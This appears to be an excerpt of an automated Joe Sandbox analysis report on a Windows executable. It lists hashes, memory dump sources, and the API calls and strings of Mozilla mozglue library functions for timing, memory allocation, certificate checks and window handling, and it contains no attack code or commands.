
API ID:
String ID:
API String ID:
Opcode ID: 809ee23363f840c811a801533be2b64f834fb93f4c5a4ab9cc37b5a2fd812bb4
Instruction ID: 1ab546832e51be9e3aa263c3693fe3f61e1f72e67ce0f5322a2de2584c0b87a3
Opcode Fuzzy Hash: 809ee23363f840c811a801533be2b64f834fb93f4c5a4ab9cc37b5a2fd812bb4
Instruction Fuzzy Hash: 10F0ECB16065D057DF228A969CC0F37BF9CCB8F354F190426EC4557183E2655845C3E5

Function 007E1ACD Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dee046ea26bd41288ab305b0bab01bebd728d97216147948753d5a5504e1687b
Instruction ID: 5c00d5f868addd841022316d78bc382c8055d3451335d87fcfb2276a823fb9ea
Opcode Fuzzy Hash: dee046ea26bd41288ab305b0bab01bebd728d97216147948753d5a5504e1687b
Instruction Fuzzy Hash: 3DC01234A1A0008B82089F02A896472A2BCBB0A308740F03ADA02E3222CA20D412890D

Function 007E1A3C Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f0b984914ec3786479221571cf95239ec75ae22c3cb8e709a92a004a380fe5
Instruction ID: b234658606dc52a4d04acd50d3741637150fe155ed0b42ad9fc8c14c2efa6220
Opcode Fuzzy Hash: d8f0b984914ec3786479221571cf95239ec75ae22c3cb8e709a92a004a380fe5
Instruction Fuzzy Hash: 36C09B34A59040CBC244CF87E8D2471A3FD670B208750B03B9703F7263C570D415850D

Analysis Process: 7e96f85771.exePID: 1672, Parent PID: 4268COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.3%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C8A35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C92F688,00001000), ref: 6C8A35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C8A35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C8A35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C8A363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C8A369F
__aulldiv.LIBCMT ref: 6C8A36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C8A3773
EnterCriticalSection.KERNEL32(6C92F688), ref: 6C8A377E
LeaveCriticalSection.KERNEL32(6C92F688), ref: 6C8A37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C8A37C4
EnterCriticalSection.KERNEL32(6C92F688), ref: 6C8A37CB
LeaveCriticalSection.KERNEL32(6C92F688), ref: 6C8A3801
__aulldiv.LIBCMT ref: 6C8A3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C8A3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C8A3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C8A394C

Strings

QPC, xrefs: 6C8A38FC
GTC, xrefs: 6C8A3912
MOZ_TIMESTAMP_MODE, xrefs: 6C8A35DB
GenuntelineI, xrefs: 6C8A3639
AuthcAMDenti, xrefs: 6C8A3946

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: d8d8d3f7ed58d96ead2e70a83b94d6544401cdb5d3acb1538fc1413e3db5b461
Instruction ID: 503bf3d1bdbb6b0d3c7909c02d82f408dd881ece2106cd0b540cfbf1a48f3c0a
Opcode Fuzzy Hash: d8d8d3f7ed58d96ead2e70a83b94d6544401cdb5d3acb1538fc1413e3db5b461
Instruction Fuzzy Hash: 50B1D171B293149BDB08DF68C944A1ABBF5FB8A704F24892EE8D9D3750D738DC058B81

Function 6C8BC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C8BC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C8BC969
GetSystemInfo.KERNEL32(?), ref: 6C8BC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C8BC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C8BC9E2

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: fcee680e1ad2c506ab01231a71e6fe32cdf1edf33477efc3e327485a26bb543e
Instruction ID: a6e238f3f804a60bd5c827200f6c3ab977d1821f74d6be60339bb988e1432984
Opcode Fuzzy Hash: fcee680e1ad2c506ab01231a71e6fe32cdf1edf33477efc3e327485a26bb543e
Instruction Fuzzy Hash: 4321FC327552186BEB24AA68CD84BAE77B9AB46704F60092EF943B7B41DB707C04C790

Function 6C8A3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C8A3095

Part of subcall function 6C8A35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C92F688,00001000), ref: 6C8A35D5
Part of subcall function 6C8A35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C8A35E0
Part of subcall function 6C8A35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C8A35FD
Part of subcall function 6C8A35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C8A363F
Part of subcall function 6C8A35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C8A369F
Part of subcall function 6C8A35A0: __aulldiv.LIBCMT ref: 6C8A36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8A309F

Part of subcall function 6C8C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8C56EE,?,00000001), ref: 6C8C5B85
Part of subcall function 6C8C5B50: EnterCriticalSection.KERNEL32(6C92F688,?,?,?,6C8C56EE,?,00000001), ref: 6C8C5B90
Part of subcall function 6C8C5B50: LeaveCriticalSection.KERNEL32(6C92F688,?,?,?,6C8C56EE,?,00000001), ref: 6C8C5BD8
Part of subcall function 6C8C5B50: GetTickCount64.KERNEL32 ref: 6C8C5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C8A30BE

Part of subcall function 6C8A30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C8A3127
Part of subcall function 6C8A30F0: __aulldiv.LIBCMT ref: 6C8A3140

Part of subcall function 6C8DAB2A: __onexit.LIBCMT ref: 6C8DAB30

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 96269ce6823950493a3aebbad5d0b75195b9ce7bc6422c5ca74f1c7c4f5f8eda
Instruction ID: d2e966cf51093d6439a18e182438215fb4a73d8ece5cfcdb15adc5e0c7a8f2d9
Opcode Fuzzy Hash: 96269ce6823950493a3aebbad5d0b75195b9ce7bc6422c5ca74f1c7c4f5f8eda
Instruction Fuzzy Hash: A8F0F912E3875C96CB20DF788941AE6B370EF6B118F611B29E8C453511FB24A5DC8382

Non-executed Functions

Function 6C8B6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C8B6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C8B6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C8B6D26

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C8B6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C8B6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C8B6D73
free.MOZGLUE(00000000), ref: 6C8B6D80
CertGetNameStringW.CRYPT32 ref: 6C8B6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C8B6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C8B6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C8B6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C8B6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C8B6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C8B6E34
CreateFileW.KERNEL32 ref: 6C8B6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C8B6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C8B6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C8B709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C8B7103
free.MOZGLUE(00000000), ref: 6C8B7153
CloseHandle.KERNEL32(?), ref: 6C8B7176
__Init_thread_footer.LIBCMT ref: 6C8B7209
__Init_thread_footer.LIBCMT ref: 6C8B723A
__Init_thread_footer.LIBCMT ref: 6C8B726B
__Init_thread_footer.LIBCMT ref: 6C8B729C
__Init_thread_footer.LIBCMT ref: 6C8B72DC
__Init_thread_footer.LIBCMT ref: 6C8B730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8B73C2
VerSetConditionMask.NTDLL ref: 6C8B73F3
VerSetConditionMask.NTDLL ref: 6C8B73FF
VerSetConditionMask.NTDLL ref: 6C8B7406
VerSetConditionMask.NTDLL ref: 6C8B740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8B741A
moz_xmalloc.MOZGLUE(?), ref: 6C8B755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8B7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C8B7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C8B7598
free.MOZGLUE(00000000), ref: 6C8B75AC

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C8B72C8
wintrust.dll, xrefs: 6C8B72CD
(, xrefs: 6C8B768A
SHA256, xrefs: 6C8B6EC0

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 821878faa3d4d8a193cee1a10e0cdb8c862f1780cb0deb47008ec737313aebc8
Instruction ID: 33b9ef6707a44946e617f0eacf5972f493745ded506dc59f63010ab92b6b9e79
Opcode Fuzzy Hash: 821878faa3d4d8a193cee1a10e0cdb8c862f1780cb0deb47008ec737313aebc8
Instruction Fuzzy Hash: 1352D771A143149BEB31DF24CD84BAAB7B8EF45708F2049A9E549A7740DB34AF84CF61

Function 6C9055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C8DE1A5), ref: 6C905606
LoadLibraryW.KERNEL32(gdi32,?,6C8DE1A5), ref: 6C90560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C905633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C90563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C90566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C90567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C905696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C905716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C90572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C905748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C905761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C90577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C905793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9057FF

Strings

gdi32, xrefs: 6C90560A
GetWindowDC, xrefs: 6C905710
StretchDIBits, xrefs: 6C9057CC
LoadIconW, xrefs: 6C90575B
GetSystemMetricsForDpi, xrefs: 6C905677
SetWindowPos, xrefs: 6C9056F7
DeleteObject, xrefs: 6C9057F9
LoadCursorW, xrefs: 6C905774
ReleaseDC, xrefs: 6C905742
CreateWindowExW, xrefs: 6C9056C5
GetMonitorInfoW, xrefs: 6C9057A2
FillRect, xrefs: 6C905729
CreateSolidBrush, xrefs: 6C9057E4
GetDpiForWindow, xrefs: 6C905690
user32, xrefs: 6C905601
GetThreadDpiAwarenessContext, xrefs: 6C90562D
AreDpiAwarenessContextsEqual, xrefs: 6C905637
RegisterClassW, xrefs: 6C9056AC
SetWindowLongPtrW, xrefs: 6C9057B7
MonitorFromWindow, xrefs: 6C90578D
ShowWindow, xrefs: 6C9056DE
EnableNonClientDpiScaling, xrefs: 6C905666

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 950cef59927f08c69102c291d9edf79878d54fe3c82af85c0610cc5169a2b804
Instruction ID: 742d893a27940627c7e7c4b08de446afdecaf6c4a4203a754f5b6f51eda546a7
Opcode Fuzzy Hash: 950cef59927f08c69102c291d9edf79878d54fe3c82af85c0610cc5169a2b804
Instruction Fuzzy Hash: 405150707293169BDB009F358D44D3A3AFCFF462497344469AD92E2A06EB7CC8008FA8

Function 6C8EF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8EF09B

Part of subcall function 6C8C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8C56EE,?,00000001), ref: 6C8C5B85
Part of subcall function 6C8C5B50: EnterCriticalSection.KERNEL32(6C92F688,?,?,?,6C8C56EE,?,00000001), ref: 6C8C5B90
Part of subcall function 6C8C5B50: LeaveCriticalSection.KERNEL32(6C92F688,?,?,?,6C8C56EE,?,00000001), ref: 6C8C5BD8
Part of subcall function 6C8C5B50: GetTickCount64.KERNEL32 ref: 6C8C5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C8EF0AC

Part of subcall function 6C8C5C50: GetTickCount64.KERNEL32 ref: 6C8C5D40
Part of subcall function 6C8C5C50: EnterCriticalSection.KERNEL32(6C92F688), ref: 6C8C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C8EF0BE

Part of subcall function 6C8C5C50: __aulldiv.LIBCMT ref: 6C8C5DB4
Part of subcall function 6C8C5C50: LeaveCriticalSection.KERNEL32(6C92F688), ref: 6C8C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C8EF155
GetCurrentThreadId.KERNEL32 ref: 6C8EF1E0
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF1ED
